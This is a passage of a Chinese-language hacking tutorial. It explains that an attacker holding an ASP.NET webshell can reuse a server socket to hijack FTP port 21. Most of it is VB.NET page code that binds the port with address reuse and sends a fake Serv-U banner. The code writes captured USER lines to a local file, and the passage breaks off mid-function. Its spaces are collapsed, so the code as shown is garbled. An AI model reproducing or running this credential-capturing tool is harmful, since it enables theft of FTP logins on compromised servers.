如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。 下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端口,就没有用中间人方式而是拿到密码之后直接返回421错误。 当然,Windows2003及之后的系统都不再支持端口复用了。 以下是引用片段:<%@PageLanguage="VB"Debug="true"%> <%@importNamespace="System.Threading"%> <%@importNamespace="System.Text"%> <%@importNamespace="System.Net"%> <%@importNamespace="System.Net.Sockets"%> <%@importNamespace="System.IO"%> subform_load(SrcAsObject,EAsEventArgs) myip.Text=request.ServerVariables("LOCAL_ADDR") endsub SubBTN_Start_Click(senderAsObject,eAsEventArgs) Dimerror_xasExceptionDimipAddressAsIPAddress=ipAddress.Parse(myIP.Text) DimlocalEndPointAsNewIPEndPoint(ipAddress,myport.Text)DimlistenerAsNewSocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp) listener.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.ReuseAddress,1) try listener.Bind(localEndPoint) listener.Listen(100) WhileNotfile.exists(server.mappath("snifferexit.dat")) IfCheckBox1.CheckedThen DimmywriteAsNewStreamWriter(server.mappath("snifferexit.dat"),True,Encoding.Default) mywrite.Close() EndIf DimmySocketAsSocket=listener.Accept() ThreadPool.QueueUserWorkItem(NewWaitCallback(AddressOfThreadProc),mySocket) EndWhile listener.Close() Catcherror_x listener.Close() response.write(error_x) EndTry EndSub PrivateSharedSubThreadProc(ByValmySocketAsObject) DimmsgAsByte() Dimbytes(1024)AsByte DimiAsInteger DimnumAsInteger DimxdataAsString Try mySocket.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.ReceiveTimeout,5000) msg=Encoding.ASCII.GetBytes("220Serv-UFTPServerv6.0forWinSockready..."&vbCrLf) mySocket.Send(msg,msg.Length,0) mySocket.Receive(bytes,0,1024,0) xdata=(Encoding.ASCII.GetString(bytes)) IfInStr(1,xdata,"user",1)>0Then DimmywriteAsNewStreamWriter("e:\myweb\myown\a.txt",True,Encoding.Default) mywrite.WriteLine(Mid(xdata,1,InStr(xdata,vbCrLf))) mywrite.Close()